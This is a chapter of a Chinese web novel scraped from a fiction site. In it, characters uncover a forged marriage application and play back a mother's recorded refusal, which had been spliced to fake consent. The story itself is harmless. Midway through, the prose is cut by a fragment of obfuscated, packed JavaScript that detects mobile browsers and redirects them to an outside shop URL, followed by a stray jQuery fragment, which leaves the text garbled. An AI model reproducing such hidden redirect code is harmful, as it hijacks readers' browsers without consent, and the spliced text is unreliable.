文趣网 > 其他小说 > 退游后,游戏夫人找我算账了 > 23. 申请人没有说愿意
    石门在身后彻底合拢。

    外面的灯光、弹幕和人声都被隔断,只剩林闻素电脑屏幕发出的微光。

    直播没有中断。

    信号却明显变差,画面右上角不断跳出红色警告。

    【场景进入受限区域。】

    【部分内容不予公开。】

    林闻素低头检查录制状态。

    “本地录像还在,直播延迟十二秒。”

    周砚打开备用录音笔:“本地留两份。手机也录。”

    他说完,抬头望向石阶两侧。

    一张张婚书悬在黑暗中。

    有些已经发黄,有些仍红得刺眼。每当他们经过,纸上被删去的话便会短暂显现。

    【我不愿。】

    【我想等明年再嫁。】

    【他年长我二十七岁。】

    【聘礼不是我收的。】

    【姐姐逃婚,与我无关。】

    【我不认识他。】

    声音也随之从纸里传出来。

    有的愤怒,有的哭泣,有的只是很小声地重复一句“不想”。

    谢小灯的青纸从账册里探出半角。

    她听见“姐姐逃婚,与我无关”时,纸面轻轻颤了一下。

    罗青雀低声骂:“这地方比问名簿还脏。”

    沈阿满问:“这些话为什么都藏在地下?”

    周砚看着四周。

    “主线只保留成功的婚书。”

    “拒绝会影响剧情成立,所以被放进不能被看见的地方。”

    姜令仪一直没有说话。

    她抱着账册往下走,目光停在最深处那张缓缓展开的泛黄纸页上。

    【第一次改写申请。】

    【申请人:姜氏照……】

    【申请将本人女儿改写为主线夫人。】

    最后几个字像一根绳,勒住她的呼吸。

    她记忆里的母亲很模糊。

    不是早逝,也不是离家。

    只是淡。

    淡到像家中一幅挂了很多年的仕女图。有人每日打扫,却没人认真看过画里的人。

    姜令仪只记得一双很凉的手。

    小时候她发热,那只手覆在她额头上,一夜没离开。

    她爬墙看山外时,那只手曾把她从墙头接下来。

    后来嬷嬷们开始教她礼法,母亲便越来越少出现。

    所有人都说,夫人身体不好,宜静养。

    再后来,姜令仪甚至想不起母亲最后一次同她说话是什么时候。

    她一直以为,是自己忘了。

    纸页上的名字继续显现。

    【申请人:姜氏照蘅。】

    姜令仪停下脚步。

    “照蘅。”

    这个名字唤出口,石阶两侧的婚书同时轻轻一晃。

    系统提示从纸面上浮起。

    【姜氏照蘅,姜家主母。】

    【人物标签:温顺、持重、以家族为先。】

    【主要功能:教导女儿接受婚姻命运。】

    【改写申请已由本人确认。】

    林闻素看得眉头紧皱。

    “连母亲也是功能角色?”

    姜令仪盯着那几行字。

    “她替我申请了夫人身份。”

    系统立刻回应。

    【是。】

    【姜氏照蘅认为女儿性情顽劣,唯有婚姻可使其安定。】

    【为保姜家门楣,她主动将女儿送入主线。】

    【母命不可违。】

    姜令仪的指甲陷进账册边缘。

    母命不可违。

    父亲说为家族好。

    母亲说为她安定。

    到最后,所有人都曾同意。

    仿佛她那句“不嫁”,只是一个不懂事的女儿在对抗全家人的苦心。

    周砚忽然走到那张申请书前。

    “先别认。”

    姜令仪抬头。

    周砚没有安慰她,只是打开手机手电,将光从纸页侧面照过去。

    纸很薄。

    墨迹却分成了两层。

    申请内容的字色偏黑,签名处则隐隐泛灰。

    “书写时间不一样。”他说。

    林闻素凑近看:“能确定?”

    “肉眼只能看出差异,不能确定时间。”周砚拿出手机拍摄,“但至少不是同一支笔一次写完。”

    系统红字覆盖上来。

    【纸张年久,墨色差异属于正常现象。】

    周砚抬眼:“我还没下结论,你急什么?”

    红字停了一下。

    姜令仪呼吸慢慢平稳。

    “还有什么不对?”

    周砚指向签名。

    “她的名字写得太完整。”

    林闻素没听懂:“完整也有问题?”

    “问名簿里,被改写过的人通常没有完整自主署名权。”周砚翻出之前保存的记录,“谢小灯的替嫁文书是别人代写,沈阿满的死亡确认是系统自动完成。你小时候被改名,也没有自己签字。”

    他看着那五个工整的字。

    “一个被定义为‘温顺、以家族为先’的角色,突然在最关键的申请上留下完整签名,反而像系统专门做给我们看的。”

    姜令仪问:“怎么核验?”

    “找原声。”

    系统红字再次出现。

    【姜氏照蘅已归档。】

    【不存在可供核验的原始记录。】

    罗青雀的青纸飞出账册,绕着申请书转了一圈。

    “它说不存在,就说明多半有。”

    林闻素指向石阶两侧。

    “这里不是藏拒绝记录的吗?”

    姜令仪抬头望去。

    数不清的婚书一直延伸到黑暗深处。

    若姜照蘅也拒绝过,她的话或许就在其中。

    可他们不知道是哪一张。

    特别观众席已经消失,断笔卡在姜令仪账册里,裂缝不断往外渗墨。

    裴行砚的回收进度仍在屏幕角落上涨。

    【原执笔人回收进度:71%。】

    他们没有太多时间。

    周砚看向申请书底部。

    那里有一枚很浅的红印。

    【声音核验编号:母位—零一。】

    “不是按名字存的。”他说,“按身份。”

    林闻素立刻明白:“找母亲说过的拒绝。”

    三人分开检查附近纸页。

    姜令仪每碰到一张婚书,都会听见一段短促的声音。

    “我已有婚约。”

    “我不愿做妾。”

    “我想读书。”

    “不要把我妹妹带走。”

    最后一句响起时,姜令仪停了一下。

    声音很年轻。

    也很陌生。

    并不是她记忆中的那个人。

    她继续往前。

    石阶越来越窄,周围婚书逐渐从红色变成白纸。

    这些拒绝发生得更早,早到婚书还没来得及写成。

    林闻素在另一侧找到了一张。

    “这里有母位编号。”

    纸页上写着:

    【母位—一九。】

    声音响起。

    “她还小,婚事可以再等几年。”

    系统旁白紧跟着覆盖。

    【母亲因不舍女儿出嫁,短暂失态。】

    周砚冷声道:“连母亲反对都要解释成舍不得。”

    姜令仪握紧账册。

    她继续寻找。

    母位—一三。

    母位—零九。

    母位—零四。

    每一张都来自不同的母亲。

    有人求人别把女儿嫁给病重冲喜的男人,有人说女儿已经有想做的事,有人只来得及说一句“她会怕”。

    每句话后面,都跟着系统解释。

    【妇人短视。】

    【情绪失控。】

    【不顾家族利益。】

    【母亲最终已被说服。】

    罗青雀听得火气越来越大。

    “它解释一句,人的话就不算了?”

    周砚把每一条都录下来。

    “所以得留原声。”

    他们走到石阶尽头。

    前方没有路,只有一面刻满名字的石墙。

    墙中央嵌着一张空白纸页。

    右下角写着:

    【母位—零一。】

    姜令仪站在纸页前。

    手指悬了片刻,最终落下。

    纸页没有立刻亮起。

    系统先弹出询问。

    【是否确认读取姜氏照蘅最终意见?】

    选项只有两个。

    【确认其同意。】

    【放弃读取。】

    林闻素气笑了。

    “读个文件都要先承认她同意?”

    周砚看向空白页边缘。

    “没有返回键。”

    姜令仪没有碰选项。

    她取出断笔。

    笔杆上的裴行砚三个字已经黯淡许多。

    她用笔尖在石墙上写:

    【读取原声。】

    系统提示变红。

    【非法指令。】

    姜令仪又写一遍。

    【只读,不解释。】

    空白纸页震了一下。

    系统像试图将它锁回墙里。

    周砚立刻把录音笔抵在纸页旁。

    林闻素打开直播。

    “既然它不想放,我们就公开取证。”

    直播间中断的画面重新亮起。

    观众看不清石墙上的细字,却能看见姜令仪站在一张空白纸前。

    周砚对镜头说明:

    “接下来播放的是原始音频。”

    “不接受系统旁白代替当事人意见。”

    弹幕很快跟上。

    【只听原声。】

    【别加旁白。】

    【申请人有没有同意,让她自己说。】

    外部见证人数不断上涨。

    空白页终于亮起。

    先是一阵杂乱的风声。

    随后,女人的声音从纸里传出来。

    “我不同意。”

    姜令仪浑身一震。

    声音比她记忆中更清楚。

    很轻,却不软弱。

    那人又说了一遍。

    “我不同意把阿照写进问名簿。”

    纸页上随之显出模糊画面。

    姜府祠堂。

    一个穿素色衣裙的女人站在供桌前,脸色苍白,手腕上缠着细细的红线。

    她的五官和姜令仪有几分相似。

    只是更疲惫。

    姜氏家主站在她对面。

    “家中必须有一人进入主线。”

    “你身体已经撑不住母位。”

    姜照蘅看着他。

    “那便删了我。”

    “不要动她。”

    姜氏家主皱眉:“她生来性情不稳,迟早会偏离家族剧情。送入裴府,由婚书约束,反倒能保她一生。”

    姜照蘅冷笑了一声。

    姜令仪第一次知道,母亲也会这样笑。

    “你说的保,是让她学会不喊疼。”

    “是让她被关起来,还要谢你给了她屋檐。”

    “我已经过过一次这样的日子。”

    “她不用再过。”

    系统提示覆盖画面。

    【母位情绪异常。】

    【启动亲情劝导。】

    姜氏家主声音沉下来。

    “若她不入主线,姜府会被降为废弃支线。”

    “家中所有人都有可能被清洗。”

    姜照蘅沉默了很久。

    系统立即截取这段沉默,在旁边标注:

    【申请人开始动摇。】

    可下一刻,她抬起手,亲自扯断手腕上的红线。

    “那也不是让她替我们死的理由。”

    祠堂里所有烛火同时一暗。

    姜照蘅走到问名簿前。

    她没有签申请。

    她写的是:

    【我女儿不嫁。】

    系统红字疯狂覆盖。

    【非法母命。】

    【母位无权拒绝家族主线安排。】

    【请重新表述。】

    姜照蘅再次落笔。

    【我不同意。】

    第三次。

    【她不是夫人。】

    画面开始剧烈扭曲。

    姜氏家主夺过她手里的笔。

    “照蘅,你会害死所有人。”

    姜照蘅看着他。

    “真正要害她的人,握着笔。”

    画面停住。

    直播间一片安静。

    系统旁白终于强行响起。

    【姜氏照蘅最终接受家族安排。】

    周砚立刻道:“原声还没结束。”

    画面继续。

    姜照蘅被两名嬷嬷按住。

    姜氏家主站到问名簿前,将她刚刚说过的话调出。

    纸页上出现一句完整原声:

    【我不同意把阿照写进问名簿。她不是夫人。】

    黑色断笔划过音轨。

    一句话被切成数段。

    【我……同意……】

    【把阿照写进问名簿。】

    【她……是夫人。】

    每个字都来自姜照蘅。

    顺序却被重新拼过。

    系统将拼接后的声音录入申请书。

    随后,姜氏家主握着她的手,在签名处写下:

    【姜氏照蘅】

    姜照蘅拼命挣扎。

    她的声音被压得断断续续。

    “这不是我的意思。”

    “我没有同意。”

    “阿照——”

    “别信这张纸。”

    最后一句落下,画面骤然熄灭。

    空白页上浮出核验结果。

    【申请人原始意见:拒绝。】

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17731703|208763||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >【书面申请:代理生成。】

    【语音确认:剪裁伪造。】

    【实际提交者:姜照衡。】

    姜令仪站在石墙前,一动不动。

    照衡。

    她父亲的名字。

    姜氏家主。

    第一任以亲缘为名,替她落笔的人。

    系统刚才告诉她,母亲亲手把她写成夫人。

    真实记录却是,母亲拼尽最后一点力气,写了三遍拒绝。

    她没有忘记自己不嫁。

    母亲也没有同意。

    她们的“不”,都被藏在地下。

    周砚关闭系统旁白,只保留原始音频。

    林闻素将核验结果同步到直播页面。

    弹幕终于重新涌动。

    【她妈妈没有同意。】

    【语音剪辑伪造申请,太恶心了。】

    【母女两个人都说了不。】

    【真正申请人是姜照衡。】

    【别让系统再拿母命压她。】

    姜令仪看着空白页上的最后一句。

    【阿照,别信这张纸。】

    眼眶一点点红了。

    她以为自己会恨。

    会恨母亲也曾把她推上花轿。

    原来那份恨,连对象都是系统替她选好的。

    周砚站在她旁边,没有说“你母亲爱你”。

    爱不爱,不该由他根据一段记录替人下结论。

    他只说:“申请无效。”

    姜令仪闭了闭眼。

    “嗯。”

    她抬起手,将那张伪造的改写申请从母册中抽出来。

    系统立即警告。

    【申请书属于问名簿母册,不得取走。】

    姜令仪动作没有停。

    “申请人未同意。”

    【代理签署已完成。】

    “代理人无权替她同意。”

    【家主拥有家族执笔权限。】

    “权限不能把拒绝写成愿意。”

    纸页被一点点抽出。

    每离开母册一寸,整条石阶便震动一次。

    周围那些被藏起来的拒婚页纷纷亮起。

    “我不愿。”

    “我没有答应。”

    “不要替我签。”

    “那不是我的声音。”

    不同人的声音汇在一起,形成一阵低沉的回响。

    姜令仪将伪造申请彻底抽出。

    纸页背后,露出真正的原始文件。

    没有“申请将女儿改写为主线夫人”。

    只有姜照蘅亲手写下的三句话。

    【我女儿不嫁。】

    【我不同意。】

    【她不是夫人。】

    账册自动翻开。

    姜令仪把这张原始拒绝页放进去。

    青光合拢,纸页被完整保存。

    【证据入册。】

    【第一次改写申请:不成立。】

    【姜令仪主线夫人身份基础下降。】

    【裴姜婚书合法性:严重存疑。】

    系统红字开始崩裂。

    与此同时,裴行砚回收进度突然停在百分之八十二。

    断笔剧烈震动。

    一道灰色字迹从裂缝中挤出。

    【申请撤销后,原执笔人回收暂缓。】

    林闻素松了口气:“拖住了。”

    周砚却盯着石墙。

    “还没有拿到婚书母页。”

    他们此行真正要找的,是记录姜令仪拒婚的原页。

    改写申请只是第一层。

    石墙在申请失效后缓缓裂开。

    里面露出一个狭窄的暗格。

    暗格中放着两张纸。

    左边那张写着:

    【姜照蘅拒绝改写原页。】

    右边那张写着:

    【阿照拒婚原页。】

    姜令仪伸手去拿右边。

    两张纸却同时燃起红光。

    系统提示浮现。

    【母册权限仅允许带走一份原页。】

    【请选择:】

    【母亲的拒绝。】

    【本人的拒婚。】

    林闻素脸色一变。

    “又要选。”

    姜令仪盯着两张纸。

    一张可以证明母亲没有背叛她。

    一张可以彻底撕毁她与裴行砚的婚书。

    拿走哪一张,另一张都会继续被锁在母册里,甚至可能在他们离开后被毁掉。

    周砚没有催她。

    只低头看向暗格底部。

    那里刻着一行很浅的字。

    被两张纸的阴影挡住了大半。

    他打开手电,调整角度。

    字迹完整显现。

    【原页不可复制。】

    【但声音可以被共同记住。】

    姜令仪抬起头。

    直播信号仍然连着。

    数十万真实观众,刚刚听完姜照蘅的原声。

    她又看向账册。

    断笔、录音、剧场本地文件都保存着自己的“不嫁”。

    系统让她选纸。

    可他们真正需要保存的,从来不只是一张纸。

    姜令仪伸出手。

    没有拿任何一张。

    她把两张原页同时翻开,对准林闻素的镜头。

    “直播。”

    林闻素立即将画面切到最高分辨率。

    周砚同时开启三台录音设备。

    两张纸上的声音一起响起。

    姜照蘅说:

    “我不同意。”

    年少的阿照说:

    “我不嫁。”

    母女的声音穿过石阶,穿过剧场,传进每一名观众耳中。

    系统疯狂警告。

    【原页内容禁止同时公开。】

    【请选择一份。】

    【请选择一份。】

    姜令仪站在两张纸中间。

    “我选择都听见。”

    暗格轰然震动。

    两张原页上的字同时脱离纸面,化成青色光点,涌向直播镜头。

    系统提示骤然变成一片乱码。

    可就在所有人以为规则即将被打破时,石阶最深处响起一声低沉的叹息。

    一个女人的身影出现在姜照蘅拒绝页后方。

    她面容与回溯中的姜照蘅一模一样。

    只是手腕上没有红线。

    她隔着青光看向姜令仪,眼神温柔而疲惫。

    “阿照。”

    姜令仪呼吸停住。

    女人抬起手,轻轻按住属于自己的那张拒绝页。

    “别带我走。”

    “先拿你的。”

    下一秒,她身后的黑暗里伸出无数黑色笔画,缠住她的肩膀和手腕。

    系统提示重新亮起。

    【检测到母位姜照蘅残留意识。】

    【其姓名已归档。】

    【如强行保留两份原页,姜照蘅将立即清洗。】